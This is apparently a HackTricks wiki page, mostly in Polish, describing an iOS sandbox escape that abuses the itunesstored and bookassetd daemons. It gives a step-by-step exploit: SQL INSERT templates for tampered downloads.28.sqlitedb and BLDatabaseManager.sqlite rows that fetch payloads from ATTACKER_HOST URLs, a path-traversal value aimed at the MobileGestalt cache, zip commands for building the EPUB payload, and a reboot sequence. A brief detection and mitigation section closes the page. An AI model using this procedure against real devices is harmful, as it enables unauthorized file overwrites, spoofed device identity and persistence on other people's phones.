itunesstored & bookassetd Sandbox Escape

Tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks

Overview

Niedawne badania pokazują, że dwa preinstalowane demony iOS, itunesstored (menedżer pobierania) i bookassetd (zarządca zasobów Books / iBooks), ślepo ufają zapisywalnym przez użytkownika metadanym SQLite. Poprzez umieszczenie spreparowanych plików downloads.28.sqlitedb i BLDatabaseManager.sqlite oraz minimalnego archiwum EPUB, atakujący, który ma możliwość zapisu w /var/mobile/Media/, może zmusić te demony do dowolnych zapisów plików w większości ścieżek należących do mobile wewnątrz /private/var/. Mechanizmy te przetrwają restart urządzenia i pozwalają modyfikować cache’e grup systemowych takich jak systemgroup.com.apple.mobilegestaltcache w celu sfałszowania właściwości urządzenia lub utrwalenia konfiguracji.

Key properties:

  • Works on devices up to at least iOS 26.2b1 (tested on iPhone 12 / iOS 26.0.1).
  • Writable targets include SystemGroup caches, /private/var/mobile/Library/FairPlay, /private/var/mobile/Media, and other mobile owned files. Writes to root-owned files fail.
  • Needs only AFC-level access (USB file copy) or any foothold that lets you replace the target SQLite DBs and upload payloads.

Threat Model & Requirements

  1. Lokalny dostęp do systemu plików do /var/mobile/Media/Downloads/ i /var/mobile/Media/Books/ (przez klientów AFC takich jak 3uTools, i4.cn, lub afcclient przez USB, albo dowolne wcześniejsze przejęcie).
  2. Serwer HTTP hostujący pliki atakującego (BLDatabaseManager.sqlite, iTunesMetadata.plist, spreparowane EPUB) udostępnione przez URL-e takie jak https://ATTACKER_HOST/fileprovider.php?type=....
  3. Możliwość wielokrotnego restartu urządzenia, aby każdy demon przeładował swoją bazę danych.
  4. Znajomość UUID system-group Books, aby zapis Etapu 1 trafił do właściwego kontenera (można go znaleźć w syslogu).

Stage 1 – Abusing downloads.28.sqlitedb via itunesstored

itunesstored przetwarza /var/mobile/Media/Downloads/downloads.28.sqlitedb. Tabela asset przechowuje metadane URL + miejsce docelowe i jest traktowana jako zaufane wejście. Skomponowanie wiersza wskazującego na URL atakującego i ustawiającego local_path na .../Documents/BLDatabaseManager/BLDatabaseManager.sqlite wewnątrz Books SystemGroup powoduje, że itunesstored pobiera i nadpisuje bazę Books zawartością atakującego podczas rozruchu.

Locate the Books SystemGroup UUID

  1. Zbierz archiwum syslog za pomocą pymobiledevice3:
pymobiledevice3 syslog collect logs.logarchive
  1. Otwórz logs.logarchive w Console.app i wyszukaj bookassetd [Database]: Store is at file:///private/var/containers/Shared/SystemGroup/<UUID>/Documents/BLDatabaseManager/BLDatabaseManager.sqlite.
  2. Zanotuj <UUID> i podstaw go w ładunku SQL.

Malicious asset row

Szablon INSERT — Etap 1 ```sql INSERT INTO "main"."asset" ( "pid","download_id","asset_order","asset_type","bytes_total", "url","local_path","destination_url","path_extension","retry_count", "http_method","initial_odr_size","is_discretionary","is_downloaded", "is_drm_free","is_external","is_hls","is_local_cache_server", "is_zip_streamable","processing_types","video_dimensions", "timeout_interval","store_flavor","download_token","blocked_reason", "avfoundation_blocked","service_type","protection_type", "store_download_key","etag","bytes_to_hash","hash_type","server_guid", "file_protection","variant_id","hash_array","http_headers", "request_parameters","body_data","body_data_file_path","sinfs_data", "dpinfo_data","uncompressed_size","url_session_task_id" ) VALUES ( 1234567890,6936249076851270150,0,'media',NULL, 'https://ATTACKER_HOST/fileprovider.php?type=sqlite', '/private/var/containers/Shared/SystemGroup//Documents/BLDatabaseManager/BLDatabaseManager.sqlite', NULL,'epub',6,'GET',NULL,0,0,0,1,0,0,0,0, NULL,60,NULL,466440000,0,0,0,0,'',NULL,NULL,0, NULL,NULL,NULL,X'62706c6973743030a1015f1020...',NULL,NULL,NULL,NULL,NULL,NULL,0,1 ); ```

Pola, które mają znaczenie:

  • url: punkt końcowy kontrolowany przez atakującego zwracający złośliwy BLDatabaseManager.sqlite.
  • local_path: plik BLDatabaseManager.sqlite grupy systemowej Books określony powyżej.
  • Flagi kontrolne: zachowaj wartości domyślne (asset_type='media', path_extension='epub', booleany ustawione na 0/1 jak w szablonie), aby demon zaakceptował zadanie.

Wdrożenie

  1. Usuń przestarzałe wpisy /var/mobile/Media/Downloads/*, aby uniknąć wyścigów.
  2. Zamień downloads.28.sqlitedb na spreparowaną bazę danych za pomocą AFC.
  3. Reboot → itunesstored pobierze bazę danych Etapu 2 i zrzuci /var/mobile/Media/iTunes_Control/iTunes/iTunesMetadata.plist.
  4. Skopiuj ten plist do /var/mobile/Media/Books/iTunesMetadata.plist; Etap 2 oczekuje go w tej lokalizacji.

Etap 2 – Wykorzystywanie BLDatabaseManager.sqlite przez bookassetd

bookassetd posiada szersze uprawnienia do systemu plików i ufa tabeli ZBLDOWNLOADINFO. Wstawiając fałszywy wiersz zakupu, który odwołuje się do URL-ów kontrolowanych przez atakującego i zawiera przejście katalogowe w ZPLISTPATH, demon pobiera Twój EPUB do /var/mobile/Media/Books/asset.epub i później rozpakowuje metadane do dowolnej ścieżki należącej do mobile osiągalnej przez sekwencje ucieczki ../../...

Złośliwy wiersz ZBLDOWNLOADINFO

Szablon INSERT Etapu 2 ```sql INSERT INTO "ZBLDOWNLOADINFO" ( "Z_PK","Z_ENT","Z_OPT","ZACCOUNTIDENTIFIER","ZCLEANUPPENDING", "ZFAMILYACCOUNTIDENTIFIER","ZISAUTOMATICDOWNLOAD","ZISLOCALCACHESERVER", "ZISPURCHASE","ZISRESTORE","ZISSAMPLE","ZISZIPSTREAMABLE", "ZNUMBEROFBYTESTOHASH","ZPERSISTENTIDENTIFIER","ZPUBLICATIONVERSION", "ZSERVERNUMBEROFBYTESTOHASH","ZSIZE","ZSTATE","ZSTOREIDENTIFIER", "ZSTOREPLAYLISTIDENTIFIER","ZLASTSTATECHANGETIME","ZPURCHASEDATE", "ZSTARTTIME","ZARTISTNAME","ZARTWORKPATH","ZASSETPATH", "ZBUYPARAMETERS","ZCANCELDOWNLOADURL","ZCLIENTIDENTIFIER", "ZCOLLECTIONARTISTNAME","ZCOLLECTIONTITLE","ZDOWNLOADID", "ZDOWNLOADKEY","ZENCRYPTIONKEY","ZEPUBRIGHTSPATH","ZFILEEXTENSION", "ZGENRE","ZHASHTYPE","ZKIND","ZMD5HASHSTRINGS","ZORIGINALURL", "ZPERMLINK","ZPLISTPATH","ZSALT","ZSUBTITLE","ZTHUMBNAILIMAGEURL", "ZTITLE","ZTRANSACTIONIDENTIFIER","ZURL","ZRACGUID","ZDPINFO", "ZSINFDATA","ZFILEATTRIBUTES" ) VALUES ( 1,2,3,0,0,0,0,'',NULL,NULL,NULL,NULL, 0,0,0,NULL,4648,2,'765107108',NULL, 767991550.119197,NULL,767991353.245275,NULL,NULL, '/private/var/mobile/Media/Books/asset.epub', 'productType=PUB&salableAdamId=765107106&...', 'https://p19-buy.itunes.apple.com/...', '4GG2695MJK.com.apple.iBooks','Sebastian Saenz','Cartas de Amor a la Luna', '../../../../../../private/var/containers/Shared/SystemGroup/systemgroup.com.apple.mobilegestaltcache/Library', NULL,NULL,NULL,NULL,'Contemporary Romance',NULL,'ebook',NULL,NULL,NULL, '/private/var/mobile/Media/Books/iTunesMetadata.plist',NULL, 'Cartas de Amor a la Luna','https://ATTACKER_HOST/fileprovider.php?type=gestalt', 'Cartas de Amor a la Luna','J19N_PUB_190099164604738', 'https://ATTACKER_HOST/fileprovider.php?type=gestalt2',NULL,NULL,NULL,NULL ); ```

Ważne pola:

  • ZASSETPATH: lokalizacja EPUB na dysku kontrolowana przez atakującego.
  • ZURL/ZPERMLINK: adresy URL atakującego hostujące EPUB i pomocniczy plist.
  • ZPLISTPATH: ../../../../../private/var/containers/Shared/SystemGroup/systemgroup.com.apple.mobilegestaltcache/Librarypath traversal base dołączana do plików wyodrębnionych z EPUB. Dostosuj głębokość path traversal, aby dotrzeć do żądanego celu SystemGroup.
  • Metadane zakupu (ZSTOREIDENTIFIER, nazwy, znaczniki czasu) naśladują prawidłowe wpisy, aby daemon nie odrzucił wiersza.

Po skopiowaniu złośliwej bazy danych do /private/var/containers/Shared/SystemGroup/<UUID>/Documents/BLDatabaseManager/BLDatabaseManager.sqlite (dzięki Stage 1) i dwukrotnym uruchomieniu systemu, bookassetd wykona: (1) pobierze EPUB, (2) przetworzy go i zapisze wygenerowany plist pod ścieżką uzyskaną wskutek path traversal.

Przygotowanie ładunku EPUB

bookassetd przestrzega formatu EPUB ZIP: mimetype musi być pierwszym nieskompresowanym wpisem. Aby zmapować zawartość EPUB do MobileGestalt cache, zbuduj drzewo katalogów, które odzwierciedla żądaną ścieżkę względem ZPLISTPATH.

Caches/
├── mimetype
└── com.apple.MobileGestalt.plist

Utwórz archiwum:

zip -X0 hax.epub Caches/mimetype
zip -Xr9D hax.epub Caches/com.apple.MobileGestalt.plist
  • mimetype zwykle zawiera dosłowną wartość application/epub+zip.
  • Caches/com.apple.MobileGestalt.plist zawiera ładunek kontrolowany przez atakującego, który trafi do .../Library/Caches/com.apple.MobileGestalt.plist.

Przebieg orkiestracji

  1. Przygotuj pliki na serwerze HTTP kontrolowanym przez atakującego i skonstruuj oba SQLite DBs z wartościami specyficznymi dla hosta/UUID.
  2. Zastąp downloads.28.sqlitedb na urządzeniu i zrestartuj → Etap 1 pobiera złośliwy BLDatabaseManager.sqlite i generuje /var/mobile/Media/iTunes_Control/iTunes/iTunesMetadata.plist.
  3. Skopiuj iTunesMetadata.plist do /var/mobile/Media/Books/iTunesMetadata.plist (powtarzaj, jeśli demon go usuwa).
  4. Zrestartuj ponowniebookassetd pobiera asset.epub do /var/mobile/Media/Books/ używając metadanych Etapu 2.
  5. Zrestartuj po raz trzecibookassetd przetwarza pobrany asset, podąża za ZPLISTPATH i zapisuje zawartość EPUB do docelowej ścieżki SystemGroup (np. com.apple.MobileGestalt.plist).
  6. Zweryfikuj przez odczyt nadpisanego plist lub obserwację, że właściwości pochodzące z MobileGestalt (identyfikator modelu, flagi aktywacji itp.) zmieniają się odpowiednio.

Ten sam schemat pozwala upuścić pliki w innych cache’ach należących do mobile, takich jak stan FairPlay lub katalogi persistence, umożliwiając skryte manipulacje bez potrzeby użycia kernel exploit.

Narzędzia i uwagi operacyjne

  • pymobiledevice3 syslog collect logs.logarchive – wyodrębnij archiwa logów, aby odkryć Books SystemGroup UUID.
  • Console.app – filtruj po bookassetd [Database]: Store is at ..., aby odzyskać dokładną ścieżkę kontenera.
  • AFC clients (afcclient, 3uTools, i4.cn) – push/pull SQLite DBs i pliki plist przez USB bez jailbreak.
  • zip – wymuszaj ograniczenia kolejności EPUB przy pakowaniu payloadów.
  • Public PoChttps://github.com/hanakim3945/bl_sbx zawiera szablony bazowe SQLite/EPUB, które możesz dostosować.

Wykrywanie i łagodzenie

  • Traktuj downloads.28.sqlitedb i BLDatabaseManager.sqlite jako nieufne wejście: zweryfikuj, że local_path / ZPLISTPATH pozostają w zatwierdzonych sandboxach i odrzuć pełne ścieżki lub tokeny traversalu.
  • Monitoruj zapisy AFC, które zastępują te bazy danych, lub nieoczekiwane pobrania zainicjowane przez itunesstored / bookassetd krótko po starcie.
  • Wzmocnij rozpakowywanie bookassetd, używając realpath() dla docelowego pliku wyjściowego i upewnij się, że nie może on uciec poza kontener Books przed zapisaniem plików.
  • Ogranicz kanały kopiowania plików AFC / USB lub wymagaj interakcji użytkownika przed zezwoleniem na zastąpienie plików metadanych Books/iTunes.

Źródła

Tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks